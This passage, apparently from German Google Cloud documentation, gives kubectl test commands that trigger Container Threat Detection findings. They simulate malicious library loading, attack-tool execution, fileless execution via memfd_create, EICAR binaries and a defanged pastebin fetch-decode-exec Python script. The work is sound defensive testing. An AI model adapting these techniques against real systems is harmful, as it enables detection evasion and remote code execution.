Bei diesem Testverfahren wird ein Execution: Modified Malicious Skill Executed-Ergebnis erstellt, das Sie im Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: hinzugefügter schädlicher Skill geladen

Wenn Sie ein Execution: Added Malicious Skill Loaded-Ergebnis auslösen möchten, fügen Sie Ihrem Container eine schädliche Skill-Bibliothek hinzu und laden Sie sie. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, eine simulierte schädliche Bibliothek erstellt und dann mit mmap geladen. Das Laden der Bibliothek ist unerwartet, da die simulierte schädliche Bibliothek nicht Teil des ursprünglichen Container-Images war und die Bibliothek einen bestimmten Test-Hash enthält, der von Threat Intelligence als schädliche Fähigkeit eingestuft wird.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Fügen Sie die schädliche Skill-Bibliothek hinzu und laden Sie sie:

    • x86-Knoten:

      b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
      tag="ktd-test-mmap-loader-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "
            apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
            echo '$b64_payload' | base64 -d > /tmp/test_mal_file;
            chmod 700 /tmp/test_mal_file;
            cat << 'EOF' > /tmp/loader.c
      #include <fcntl.h>
      #include <sys/mman.h>
      #include <sys/stat.h>
      #include <unistd.h>
      #include <stdlib.h>
      int main(int argc, char *argv[]) {
         int fd = open(argv[1], O_RDONLY);
         if (fd == -1) return 1;
         struct stat sb;
         if (fstat(fd, &sb) == -1) return 1;
         void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
         if (addr == MAP_FAILED) return 1;
         write(1, addr, sb.st_size);
         munmap(addr, sb.st_size);
         close(fd);
         return 0;
      }
      EOF
            gcc /tmp/loader.c -o /tmp/loader;
            /tmp/loader /tmp/test_mal_file;
            sha256sum /tmp/test_mal_file;
            sleep 10"
      
    • ARM-Knoten:

      b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
      tag="ktd-test-mmap-loader-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c "
            apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
            echo '$b64_payload' | base64 -d > /tmp/test_mal_file;
            chmod 700 /tmp/test_mal_file;
            cat << 'EOF' > /tmp/loader.c
      #include <fcntl.h>
      #include <sys/mman.h>
      #include <sys/stat.h>
      #include <unistd.h>
      #include <stdlib.h>
      int main(int argc, char *argv[]) {
         int fd = open(argv[1], O_RDONLY);
         if (fd == -1) return 1;
         struct stat sb;
         if (fstat(fd, &sb) == -1) return 1;
         void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
         if (addr == MAP_FAILED) return 1;
         write(1, addr, sb.st_size);
         munmap(addr, sb.st_size);
         close(fd);
         return 0;
      }
      EOF
            gcc /tmp/loader.c -o /tmp/loader;
            /tmp/loader /tmp/test_mal_file;
            sha256sum /tmp/test_mal_file;
            sleep 10"
      

Bei diesem Testverfahren wird ein Execution: Added Malicious Skill Loaded-Ergebnis erstellt, das Sie im Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Geänderter schädlicher Skill geladen

Wenn Sie ein Execution: Modified Malicious Skill Loaded-Ergebnis auslösen möchten, ändern Sie eine vorhandene Binärdatei mit einer bösartigen Skill-Bibliothek in Ihrem Container und laden Sie sie. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, eine simulierte schädliche Bibliothek über eine Systemdatei (/etc/issue) erstellt und dann mit mmap geladen. Das Laden der Bibliothek ist unerwartet, da die simulierte schädliche Bibliothek nicht Teil des ursprünglichen Container-Images war und die Bibliothek einen bestimmten Test-Hash enthält, der von Threat Intelligence als schädliche Fähigkeit eingestuft wird.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Ändern Sie eine Systemkomponente mit der schädlichen Skill-Bibliothek und laden Sie sie:

    • x86-Knoten:

      b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
      tag="ktd-test-mmap-loader-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "
            apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
            echo '$b64_payload' | base64 -d > /etc/issue;
            chmod 700 /etc/issue;
            cat << 'EOF' > /tmp/loader.c
      #include <fcntl.h>
      #include <sys/mman.h>
      #include <sys/stat.h>
      #include <unistd.h>
      #include <stdlib.h>
      int main(int argc, char *argv[]) {
         int fd = open(argv[1], O_RDONLY);
         if (fd == -1) return 1;
         struct stat sb;
         if (fstat(fd, &sb) == -1) return 1;
         void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
         if (addr == MAP_FAILED) return 1;
         write(1, addr, sb.st_size);
         munmap(addr, sb.st_size);
         close(fd);
         return 0;
      }
      EOF
            gcc /tmp/loader.c -o /tmp/loader;
            /tmp/loader /etc/issue;
            sha256sum /etc/issue;
            sleep 10"
      
    • ARM-Knoten:

      b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
      tag="ktd-test-mmap-loader-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c "
            apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
            echo '$b64_payload' | base64 -d > /etc/issue;
            chmod 700 /etc/issue;
            cat << 'EOF' > /tmp/loader.c
      #include <fcntl.h>
      #include <sys/mman.h>
      #include <sys/stat.h>
      #include <unistd.h>
      #include <stdlib.h>
      int main(int argc, char *argv[]) {
         int fd = open(argv[1], O_RDONLY);
         if (fd == -1) return 1;
         struct stat sb;
         if (fstat(fd, &sb) == -1) return 1;
         void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
         if (addr == MAP_FAILED) return 1;
         write(1, addr, sb.st_size);
         munmap(addr, sb.st_size);
         close(fd);
         return 0;
      }
      EOF
            gcc /tmp/loader.c -o /tmp/loader;
            /tmp/loader /etc/issue;
            sha256sum /etc/issue;
            sleep 10"
      

Bei diesem Testverfahren wird ein Execution: Modified Malicious Skill Loaded-Ergebnis erstellt, das Sie im Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Container-Escape

Wenn Sie ein Ergebnis vom Typ „Ausführung: Container-Escape“ auslösen möchten, platzieren Sie eine Binärdatei in Ihrem Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /bin/ls an einen anderen Speicherort kopiert, in ein verdächtiges Tool (botb-linux-amd64) umbenannt und mit zusätzlichen Argumenten ausgeführt. Diese Aktion wird als verdächtig eingestuft, da diese Ausführung ein Verhalten simuliert, das mit einem Container-Escape-Versuch übereinstimmt.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Legen Sie eine Binärdatei für ein Container-Exploitation-Tool wie botb-linux-amd64 ab und führen Sie sie aus:

    • x86-Knoten:

      tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"
      
    • ARM-Knoten:

      tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"
      

Bei diesem Testverfahren wird das Ergebnis „Ausführung: Container-Escape“ erstellt, das Sie im Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Aufrufen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Dateilose Ausführung in /memfd:

Damit ein Execution: Fileless Execution in /memfd:-Ergebnis ausgelöst wird, muss ein Prozess über das In-Memory-Dateisystem /memfd: ausgeführt werden. In diesem Beispiel wird das neueste Python-Image verwendet. Das Dienstprogramm /bin/ls wird in eine anonyme Datei in /memfd: kopiert. Diese kopierte Binärdatei wird dann ausgeführt. Die Ausführung einer Binärdatei unter /memfd: wird als verdächtig gekennzeichnet, da sie das Verhalten eines Objekts nachahmt, das versucht, im Arbeitsspeicher ausgeführt zu werden, um dateibasierte Erkennungen zu vermeiden.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Erstellen Sie einen privilegierten Container und öffnen Sie die Bash, um Befehle auszuführen:

    • x86-Knoten:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image python:latest \
         "$tag" -- python -c "import os,sys,time
      
      time.sleep(10)
      f = open('/bin/ls','rb')
      execdata = f.read()
      f.close()
      fd = os.memfd_create('', 0)
      fname = '/proc/self/fd/{}'.format(fd)
      f = open(fname,'wb')
      f.write(execdata)
      f.close()
      args = ['/bin']
      os.execve(fname, args, os.environ)"
      
    • ARM-Knoten:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image python:3-buster \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- python -c "import os,sys,time
      
      time.sleep(10)
      f = open('/bin/ls','rb')
      execdata = f.read()
      f.close()
      fd = os.memfd_create('', 0)
      fname = '/proc/self/fd/{}'.format(fd)
      f = open(fname,'wb')
      f.write(execdata)
      f.close()
      args = ['/bin']
      os.execve(fname, args, os.environ)"
      

Bei diesem Testverfahren wird ein Execution: Fileless Execution in /memfd:-Ergebnis erstellt, das Sie im Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Ausnutzung der Sicherheitslücke „Ingress Nightmare“

Führen Sie die nginx-Binärdatei in Ihrem Container aus, um ein Ergebnis vom Typ „Ausführung: Ingress Nightmare-Sicherheitslücke“ (Vorschau) auszulösen. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /bin/ls an einen anderen Speicherort kopiert, in eine Nginx-Binärdatei (nginx) umbenannt und mit zusätzlichen Argumenten ausgeführt, die auf das Dateisystem /proc verweisen. Diese Aktion wird als verdächtig eingestuft, da sie ein Verhalten simuliert, das mit dem Ingress Nightmare-Exploit (CVE-2025-1974) übereinstimmt, was auf eine potenzielle Remote-Codeausführung hinweist.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Erstellen Sie eine Nginx-Binärdatei wie nginx und führen Sie sie aus, während Sie auf das Dateisystem /proc zugreifen:

    • x86-Knoten:

      tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"
      
    • ARM-Knoten:

      tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"
      

Bei diesem Testverfahren wird ein Ergebnis vom Typ „Execution: Ingress Nightmare Vulnerability Execution“ erstellt, das Sie im Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Ergebnisse in Cloud Logging können nur angezeigt werden, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Execution: Kubernetes Attack Tool Execution

Wenn Sie ein Ergebnis vom Typ „Execution: Kubernetes Attack Tool Execution“ auslösen möchten, platzieren Sie eine Binärdatei in Ihrem Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /bin/ls an einen anderen Speicherort kopiert, in ein verdächtiges Tool (amicontained) umbenannt und ausgeführt. Diese Aktion wird als verdächtig eingestuft, da sie ein Verhalten simuliert, das mit einem potenziellen Ausführungsversuch eines Kubernetes-Angriffstools übereinstimmt.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Legen Sie eine Binärdatei für ein Kubernetes-Angriffstool wie amicontained ab und führen Sie sie aus:

    • x86-Knoten:

      tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
      
    • ARM-Knoten:

      tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
      

Bei diesem Testverfahren wird das Ergebnis „Ausführung: Ausführung des Kubernetes-Angriffstools“ erstellt, das Sie im Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Aufrufen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Ausführung eines lokalen Ausspähtools

Wenn Sie ein Execution: Local Reconnaissance Tool Execution-Ergebnis auslösen möchten, platzieren Sie eine Binärdatei in Ihrem Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /bin/ls an einen anderen Speicherort kopiert, in ein verdächtiges Tool (linenum.sh) umbenannt und ausgeführt. Diese Aktion wird als verdächtig eingestuft, da die Ausführung der umbenannten Binärdatei ein Verhalten simuliert, das mit einem lokalen Ausspähversuch übereinstimmt.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie eine Binärdatei für ein lokales Ausspähtool wie linenum.sh ein und führen Sie sie aus:

    • x86-Knoten:

      tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
      
    • ARM-Knoten:

      tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
      

Bei diesem Testverfahren wird ein Ergebnis vom Typ „Ausführung: Ausführung eines lokalen Ausspähungstools“ erstellt, das Sie im Security Command Center und in Cloud Logging ansehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Schädlicher Python-Code ausgeführt

Wenn Sie das Ergebnis „Ausführung: Schädlicher Python-Code ausgeführt“ auslösen möchten, können Sie Python im folgenden Verfahren in Ihrem Container ausführen.

Bei diesem Verfahren wird das neueste Python-Image bereitgestellt, bösartiger Python-Code kopiert und dann ausgeführt. Damit die Erkennung ausgelöst wird, muss der Python-Code durch den Detektor als schädlich eingestuft werden.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie das folgende Script in einem neuen Container aus.

    Dieser Python-Code stammt aus einem Honeypot. Es wurde jedoch so geändert, dass das schädliche Binärprogramm nicht ausgeführt wird. Das Ausführen des Skripts verursacht keine schädlichen Aktivitäten in Ihrem Container. Die Binärdatei unter der referenzierten URL ist nicht vorhanden. Der Versuch, die URL aufzurufen, führt zu einem 404-Fehler. Dies ist zu erwarten. Der Versuch, ein Binärprogramm mithilfe eines Inline-Scripts herunterzuladen, zu decodieren und auszuführen, löst die Erkennung aus.

    • x86-Knoten:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/python:latest \
         "$tag" -- python -c "import urllib
      import base64
      import os
      
      url = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      f = os.popen(str(page))
      url = 'https://pastebin.com/raw/Z'
      d = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      exec(page)"
      
    • ARM-Knoten:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image python:3-buster \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- python -c "import urllib
      import base64
      import os
      
      url = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      f = os.popen(str(page))
      url = 'https://pastebin.com/raw/Z'
      d = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      exec(page)"
      

Bei diesem Testverfahren wird das Ergebnis „Ausführung: Bösartiges Python ausgeführt“ erstellt, das Sie im Security Command Center und in Cloud Logging ansehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zur Rauschunterdrückung filtert Container Threat Detection beim ersten Erstellen eines Containers vorübergehend die Ergebnisse „Ausführung: Schädliches Python ausgeführt“ heraus. Wenn Sie alle Ergebnisse vom Typ „Ausführung: Schädlicher Python-Code ausgeführt“ beim Einrichten eines Containers sehen möchten, stellen Sie dem Container- oder Pod-Namen ktd-test voran, wie im Beispiel gezeigt.

Ausführung: Geändertes schädliches Binärprogramm ausgeführt

Wenn Sie das Ergebnis „Ausführung: Geändertes schädliches Binärprogramm ausgeführt“ auslösen möchten, ändern Sie ein schädliches Binärprogramm in Ihrem Container und führen Sie es aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, /etc/issue in eine bösartige EICAR-Testdatei geändert und dann ausgeführt. Die Ausführung der Binärdatei ist unerwartet, da die erstellte /etc/issue während der Containerlaufzeit als bösartige EICAR-Testbinärdatei geändert wird und die EICAR-Binärdatei laut Threat Intelligence eine bekannte bösartige Datei ist.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Legen Sie die EICAR-Binärdatei ab und führen Sie sie aus:

    • x86-Knoten:

      tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; /etc/issue; sleep 10"
      
    • ARM-Knoten:

      tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c "echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; /etc/issue; sleep 10"
      

Bei diesem Testverfahren wird das Ergebnis „Execution: Modified Malicious Binary Executed“ erstellt, das Sie im Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Aufrufen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Geänderte schädliche Bibliothek geladen

Wenn Sie das Ergebnis „Ausführung: Geänderte schädliche Bibliothek geladen“ auslösen möchten, ändern Sie eine vorhandene Datei mit einer schädlichen Bibliothek in Ihrem Container und laden Sie sie. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, die Datei /etc/issue mit einer simulierten schädlichen Bibliothek aktualisiert und dann mit mmap geladen. Das Laden einer vorhandenen Datei durch die Bibliothek ist unerwartet, da es sich bei der Bibliothek um eine EICAR-Testdatei handelt, die von Threat Intelligence als schädlich eingestuft wird.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Fügen Sie die EICAR-Datei hinzu und laden Sie sie:

    • x86-Knoten:

      tag="ktd-test-modified-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "
            apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
            echo -n '$eicar' > /etc/issue;
            cat << 'EOF' > /tmp/loader.c
      #include <fcntl.h>
      #include <sys/mman.h>
      #include <sys/stat.h>
      #include <unistd.h>
      #include <stdlib.h>
      int main(int argc, char *argv[]) {
         int fd = open(argv[1], O_RDONLY);
         if (fd == -1) return 1;
         struct stat sb;
         if (fstat(fd, &sb) == -1) return 1;
         void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
         if (addr == MAP_FAILED) return 1;
         write(1, addr, sb.st_size);
         munmap(addr, sb.st_size);
         close(fd);
         return 0;
      }
      EOF
            gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /etc/issue
            sleep 10"
      
    • ARM-Knoten:

      tag="ktd-test-modified-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
      "$tag" -- sh -c "
            apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
            echo -n '$eicar' > /etc/issue;
            cat << 'EOF' > /tmp/loader.c
      #include <fcntl.h>
      #include <sys/mman.h>
      #include <sys/stat.h>
      #include <unistd.h>
      #include <stdlib.h>
      int main(int argc, char *argv[]) {
         int fd = open(argv[1], O_RDONLY);
         if (fd == -1) return 1;
         struct stat sb;
         if (fstat(fd, &sb) == -1) return 1;
         void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
         if (addr == MAP_FAILED) return 1;
         write(1, addr, sb.st_size);
         munmap(addr, sb.st_size);
         close(fd);
         return 0;
      }
      EOF
            gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /etc/issue
            sleep 10"
      

Bei diesem Testverfahren wird das Ergebnis „Ausführung: Modifizierte schädliche Bibliothek geladen“ erstellt, das Sie im Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Netcat-Remote-Codeausführung im Container

